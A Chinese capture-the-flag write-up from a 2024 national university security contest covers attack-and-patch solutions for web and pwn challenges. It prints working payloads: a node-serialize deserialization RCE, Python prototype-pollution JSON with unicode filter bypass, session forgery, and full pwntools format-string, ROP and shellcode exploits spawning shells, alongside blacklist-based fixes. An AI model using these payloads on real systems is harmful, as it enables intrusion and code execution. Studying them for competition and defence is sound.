第十七届全国大学生信息安全竞赛-华东南分区赛

1签到+4web+4pwn

web-welcome

签到，Ctrl+U

web-submit

break

文件上传，有对内容检测，使用短标签绕过

fix

添加黑名单

<?php
// $path = "./uploads";
error_reporting(0);
$path = "./uploads";
$content = file_get_contents($_FILES['myfile']['tmp_name']);
$allow_content_type = array("image/png");
$type = $_FILES["myfile"]["type"];
if (!in_array($type, $allow_content_type)) {
    die("只允许png哦!<br>");
}


// 修改点
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini",".htaccess");
$file_name = trim($_FILES['myfile']['name']);

$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext);
$file_ext = str_ireplace('::$DATA', '', $file_ext);
$file_ext = trim($file_ext);

if (in_array($file_ext, $deny_ext)) {
	die('此文件不允许上传!');
}

if (preg_match('/(php|script|xml|user|htaccess)/i', $content)) {
    // echo "匹配成功!";
    die('鼠鼠说你的内容不符合哦0-0');
} else {
    $file = $path . '/' . $_FILES['myfile']['name'];
echo $file;

if (move_uploaded_file($_FILES['myfile']['tmp_name'], $file)) {
        file_put_contents($file, $content);
        echo 'Success!<br>';
} else {
        echo 'Error!<br>';
}
}
?>


<!---->

web-粗心的程序员

break

扫目录，得到www.zip

<?php
error_reporting(0);
include "default_info_auto_recovery.php";
session_start();
$p = $_SERVER["HTTP_X_FORWARDED_FOR"]?:$_SERVER["REMOTE_ADDR"];
if (preg_match("/\?|php|:/i",$p))
{
    die("");
}
$time = date('Y-m-d h:i:s', time());
$username = $_SESSION['username'];
$id = $_SESSION['id'];
if ($username && $id){
    echo "Hello,"."$username";
    $str = "//登陆时间$time,$username $p";
    $str = str_replace("\n","",$str);
    file_put_contents("config.php",file_get_contents("config.php").$str);
}else{
    die("NO ACCESS");
}
?>

home.php中会写入登录日志$str = "//登陆时间$time,$username $p";

用?><? phpinfo(); //截断注释输出phphinfo

或者写入一个换行后在xff中执行命令

fix

对于写入日志的两个参数添加黑名单

home.php

<?php
error_reporting(0);
include "default_info_auto_recovery.php";
session_start();
$p = $_SERVER["HTTP_X_FORWARDED_FOR"]?:$_SERVER["REMOTE_ADDR"];

// 修改点1
$blacklist = [">","<",";","|","//","#","php","'","="];
$p = str_replace($blacklist,"",$p);

if (preg_match("/\?|php|\>|:/i",$p))
{
    die("");
}
$time = date('Y-m-d h:i:s', time());
$username = $_SESSION['username'];
$id = $_SESSION['id'];
if ($username && $id){
    echo "Hello,"."$username";

    // 修改点2
    $blacklist = [">","<",";","|","//","#","?"];
    $username = str_replace($blacklist,"",$username);

    $str = "//登陆时间$time,$username $p";
    $str = str_replace("\n","",$str);
    file_put_contents("config.php",file_get_contents("config.php").$str);
}else{
    die("NO ACCESS");
}
?>
<br>
<script type="text/javascript" src="js/jquery-1.9.0.min.js"></script>
<script type="text/javascript" src="js/jquery.base64.js"></script>
<script>
 ....
</script>
更改用户名<input type="text" name="newusername" id="newusername" value="">
<button type="submit" onclick="submitData()" >更改</button>

web-Polluted

break

from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import json
import re

def generate_random_md5():
    random_string = os.urandom(16)
    md5_hash = hashlib.md5(random_string)

    return md5_hash.hexdigest()
def filter(user_input):
    blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string']
    for pattern in blacklisted_patterns:
        if re.search(pattern, user_input, re.IGNORECASE):
            return True
    return False
def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)


app = Flask(__name__)
app.secret_key = generate_random_md5()

class evil():
    def __init__(self):
        pass

@app.route('/',methods=['POST'])
def index():
    username = request.form.get('username')
    password = request.form.get('password')
    session["username"] = username
    session["password"] = password
    Evil = evil()
    if request.data:
        if filter(str(request.data)):
            return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"
        else:
            merge(json.loads(request.data), Evil)
            return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"
    return render_template("index.html")

@app.route('/admin',methods=['POST', 'GET'])
def templates():
    username = session.get("username", None)
    password = session.get("password", None)
    if username and password:
        if username == "adminer" and password == app.secret_key:
            return render_template("important.html", flag=open("/flag", "rt").read())
        else:
            return "Unauthorized"
    else:
        return f'Hello,  This is the POLLUTED page.'

if __name__ == '__main__':
    app.run(host='0.0.0.0',debug=True, port=80)

python原型链污染secret_key

{
    "__init__": {
        "__globals__": {
            "app": {
                "secret_key": "dr0n111"
            }
        }
    }
}

有关键字被过滤了，转成unicode绕过

{
    "\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f": {
        "\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f": {
            "\u0061\u0070\u0070": {
                "\u0073\u0065\u0063\u0072\u0065\u0074\u005f\u006b\u0065\u0079": "dr0n111"
            }
        }
    }
}

污染后伪造key登录

1	`python flask_session_cookie_manager3.py encode -s "dr0n111" -t "{'password':'dr0n111','username':'adminer'}"`

登录后看到语法标识符不对，使用variable_start_string替换

{
    "__init__": {
        "__globals__": {
            "app": {
                "jinja_env": {
                    "variable_start_string": "[%",
                    "variable_end_string": "%]"
                }
            }
        }
    }
}

{
    "\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f": {
        "\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f": {
            "\u0061\u0070\u0070": {
                "\u006a\u0069\u006e\u006a\u0061\u005f\u0065\u006e\u0076": {
                    "\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0073\u0074\u0061\u0072\u0074\u005f\u0073\u0074\u0072\u0069\u006e\u0067": "[%",
                    "\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0065\u006e\u0064\u005f\u0073\u0074\u0072\u0069\u006e\u0067": "%]"
                }
            }
        }
    }
}

因为缓存的原因，先污染在访问即可

fix

增加黑名单

def filter(user_input):
    blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string', '005f', '0074', '006c', '[%']
    for pattern in blacklisted_patterns:
        if re.search(pattern, user_input, re.IGNORECASE):
            return True
    return False

web-bigfish

break

扫目录得到/admin和/login

访问admin会自动跳转到login，简单修改cookie就能直接登录

数据储存位置可以穿越目录，读取fish.js

const express = require('express');
const path = require('path');
const fs = require('fs');
const cookieParser = require('cookie-parser');
const bodyParser = require('body-parser');
const serialize = require('node-serialize');
const schedule = require('node-schedule');

// Change working directory to /srv
process.chdir('/srv');


let rule1 = new schedule.RecurrenceRule();
rule1.minute = [0, 3, 6 , 9, 12, 15, 18, 21, 24, 27, 30, 33, 36, 39, 42, 45, 48, 51, 54, 57];

// 定时清除
let job1 = schedule.scheduleJob(rule1, () => {
	fs.writeFile('data.html',"#获取的数据信息\n",function(error){
		console.log("wriet error")
	});
});


const app = express();

app.engine('html',require('express-art-template'))

app.use(express.static('public'));
app.use(cookieParser());
app.use(bodyParser.json())
app.use(bodyParser.urlencoded({extended: false}))


data_path = "data.html";

// Middleware to set default cookies for /admin route
function setDefaultAdminCookies(req, res, next) {
    if (!req.cookies.username) {
        res.cookie('username', 'normal');
    }
    if (!req.cookies.is_admin) {
        res.cookie('is_admin', 'false');
    }
    next();
}

//主页
app.get('/', function(req, res) {
	res.sendFile(path.join(__dirname, 'public/index.html'));
});

app.post('/',function(req, res){
	fs.appendFile('data.html',JSON.stringify(req.body)+"\n",function(error){
		console.log(req.body)
	});
	res.sendFile(path.join(__dirname, 'public/index.html'));
});


//后台管理
app.get('/admin', setDefaultAdminCookies, function(req, res) {
	if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){
		res.redirect('login');
	}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){
		res.render('admin.html',{
            datadir : data_path
        });
	}
});

app.post('/admin', setDefaultAdminCookies, function(req, res) {
	if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){
		res.redirect('login');
	}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){
		if(req.body.newname){
			data_path = req.body.newname;
			res.redirect('admin');
		}else{
			res.redirect('admin');
		}
	}
});


//已弃用的登录
app.get('/login', function(req, res) {
	res.sendFile(path.join(__dirname, 'public/login.html'));
});

app.post('/login', function(req, res) {
	if(req.cookies.profile){
        var str = new Buffer(req.cookies.profile, 'base64').toString();
        var obj = serialize.unserialize(str);
		if (obj.username) {
            if (escape(obj.username) === "admin") {
				res.send("Hello World");
			}
		}
	}else{
		res.sendFile(path.join(__dirname, 'public/data'));
	}
});

//QQ
app.get('/qq', function(req, res) {
	if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){
		res.redirect('login');
	}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){
		res.sendFile(path.join(__dirname, data_path));
	}
});


app.listen(80, '0.0.0.0');

在login的时候执行了serialize.unserialize(str)，可以打nodejs反序列化

1	`{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('cat /this_is_your_ffflagg > /tmp/1.txt',function(error,stdout,stderr) {console.log(stdout)});}()"}`

利用目录穿越拿到flag

fix

提示：应修尽修，xss

没有修复成功

pwn-ezwp

break

非预期：phpinfo中直接搜flag

预期解：

php.ini里可以看到引用了myphp.so

1	`extension=/home/myphp.so`

ida分析

进入get_module函数，通过扩展函数表，可以看到myphp.so扩展导出了三个函数: myphp_test1,myphp_test2,phppwn

进入phppwn，发现会验证密钥后读取flag输出

但是这里len的类型是unsigned __int8，所以len=strlen(arg)&0xff。同时密钥长度32，限制长度24，可以使用整数溢出进行绕过

exp

字符串长度&0xff<0x18 即可

hVymkNmp0NM0NcYCswNtFbUZuG1GXbwUaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

加上无字母rce

phppwn("hVymkNmp0NM0NcYCswNtFbUZuG1GXbwUaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");

(~%8F%97%8F%8F%88%91)(~%97%A9%86%92%94%B1%92%8F%CF%B1%B2%CF%B1%9C%A6%BC%8C%88%B1%8B%B9%9D%AA%A5%8A%B8%CE%B8%A7%9D%88%AA%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E%9E);

fix

应该是需要修改字符串长度比较类型为长整型

pwn-cJSON

break

在delete功能中存在格式化字符串，利用格式化字符串可以获取shell

from pwn import *
import json

def all(name):
    p.sendlineafter(b">",b'1')
    p.sendlineafter(b'name:',name)

def get(name):
    p.sendlineafter(b'>',b'2')
    p.sendlineafter(b'name:',name)

def edit(name,data):
    p.sendlineafter(b'>',b'3')
    p.sendlineafter(b'name:',name)
    p.sendlineafter(b'len:',str(len(data)).encode())
    p.sendlineafter(b'data:',data)

def free(name):
    p.sendlineafter(b'>',b'4')
    p.sendlineafter(b'name:',name)
#p=process("./pwn")
p=remote("10.1.123.16",9999)
#gdb.attach(p,'bp $rebase(0x6b3b)')
libc=ELF("./libc.so.6")
#libc=ELF("./libc")
e=ELF("./pwn")
offset=20
code={"%25$p":1}
payload=json.dumps(code)
p.sendlineafter(b"size: ",str(len(payload)).encode())
p.sendlineafter(b'Json:',payload.encode())
free("%27$p")

p.readuntil('[')
d=int(p.readuntil(']',drop=1),16)
libc.address=d-0x24083
#libc.address=d-0x29d90
free("%11$p")
p.readuntil('[')
d=int(p.readuntil(']',drop=1),16)
e.address=d-0x6b04

free("%10$p")
p.readuntil('[')
d=int(p.readuntil(']',drop=1),16)
mainstack=d+8
stack=d-0x78
bin_sh=next(libc.search(b'/bin/sh\x00'))
system=libc.sym['system']
rdi=e.address+0x0000000000006ba3
ret=rdi+1
print(hex(mainstack))
print(hex(stack))
print(hex(libc.address))
print(hex(rdi))
print(hex(ret))
payload=p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)
for i,v in enumerate(payload):
    if v==0:
        data="%22$hhn"
    else:
        data=("%"+str(v)+"c%"+"22$hhn")
    data=data.encode().ljust(16,b'a')+p64(mainstack+i)
    print(data)
    free(data)
retaddr=e.address+0x6b3a
free(("%"+str(retaddr&0xffff)+"c%"+"22$hn").encode().ljust(16,b'a')+p64(stack))

pause()
p.interactive()

fix

将delete功能中的printf函数修改为puts

在edit功能中可能存在栈溢出，修改memcpy的第三个参数

pwn-baby_jit

break

shellcode中有8字节是自定义的,利用这8字节进行二次写，实现orw

from pwn import *
context.arch='amd64'

def exec():
    pass

shellcode="""xor rdi,rdi
xchg rsi,rdx
syscall"""

p=remote("10.1.123.17",9999)
p.sendlineafter('>>','1')
p.sendline("add "+str(u64(asm(shellcode))))

for i in range(0x20):
    p.sendlineafter('>>','1')
    p.sendline("add "+str(u64(asm(shellcode))))

p.sendlineafter('>>','2')
p.sendlineafter('offset?','0.2')

shellcode=shellcraft.open("flag")+shellcraft.read(3,0x100000+0x100,0x100)+shellcraft.write(1,0x100000+0x100,0x100)
p.send(b'a'*0x8+asm(shellcode))
p.interactive()

fix

尝试了修改指令单位大小，不使用浮点数进行偏移没有防御成功

pwn-printf-master

break

利用栈中指向args和envs的指针数据修改printf函数返回地址，进行多次格式化字符串，最终修改printf的返回地址为gadget获得shell

from pwn import *
import random
#context.log_level='debug'
def pwn(p):
    libc=ELF("./libc-2.31.so")
    gadget=0xe6af1
    print(hex(gadget))
    gdb.attach(p,'bp $rebase(0x1635)')
    p.sendlineafter(b">>>",b'1')
    p.readuntil('gift:')
    stack=int(p.readline(),16)
    print_stack=stack-0x18
    print(hex(print_stack))
    payload="%c"*14
    payload+="%p"+"%"+str(print_stack-14-14)+'c'+'%hn'
    data=0xa9
    subdata=(print_stack+26)&0xff
    data=data+0x100-subdata
    payload+="%c"*26+"%"+str(data)+'c'+"%hhn"
#    p.sendline('%p '*80)
    p.sendlineafter('name?',payload)
    p.readuntil('0x')
    libc.address=int(p.read(12),16)-0x270b3
    gadget=libc.address+gadget #3601
    #libc.address=int(p.read(12),16)-0x24083
    print(hex(libc.address))
#    p.sendline('%p '*60)
#    p.interactive()
    print_stack=print_stack-0x30


    data=print_stack-0x30
    payload='%c'*8+'%'+str(data-8)+'c'+'%hn'

    data=print_stack
    subdata=print_stack-0x30+11
    data=data+0x10000-subdata
    payload+='%c'*11+'%'+str(data)+'c'+'%hn'


    data=print_stack+4-0x30
    subdata=(print_stack+14)&0xffff
    data=data+0x10000-subdata
    payload+="%c"*4+"%c"*10+"%"+str(data)+'c'+"%hn"
    
    data=0xa9
    subdata=(print_stack+4+10-0x30)&0xff
    data=data+0x100-subdata
    payload+="%c"*10+"%"+str(data)+'c'+'%hhn'
    
    print(payload)
    print(hex(print_stack))
    print(hex(gadget))
    print(len(payload))
    p.sendlineafter("name?",payload)
    pause()

    print_stack-=0x30
    data=gadget&0xffff
    subdata=20
    data=data+0x10000-subdata
    payload="%c"*20+"%"+str(data)+"c"+"%hn"

    data=print_stack+2
    subdata=(gadget+5)&0xffff
    data=data+0x10000-subdata
    payload+="%c"*5+"%"+str(data)+"c"+"%hn"

    data=(gadget>>16)&0xffff
    subdata=(print_stack+2+26)&0xffff
    data=data+0x10000-subdata

    payload+="%c"*26+'%'+str(data)+'c'+"%hn"

    data=(gadget>>32)&0xffff
    subdata=(gadget>>16)&0xffff
    data=data+0x10000-subdata
    payload+="%"+str(data)+"c"+"%hn"
    print(payload)
    info("thrid")
    p.sendlineafter("name?",payload)
    p.interactive()
#    pause()

p=process("./pwn1")
pwn(p)

while True:
    break
    try:
        #p=remote("10.1.123.23",9999)
        p=process("./pwn1")
        gdb.attach(p,'bp $rebase(0x1635)')
        pwn(p)
    except:
        pass

fix

在输出时使用了printf函数，修改为使用puts函数进行输出

#awdp #wp #ciscn #2024竞赛

第十七届全国大学生信息安全竞赛-华东南分区赛

https://www.dr0n.top/posts/deeac2cd/

作者

dr0n

发布于

2024年6月25日

更新于

2025年7月27日

许可协议

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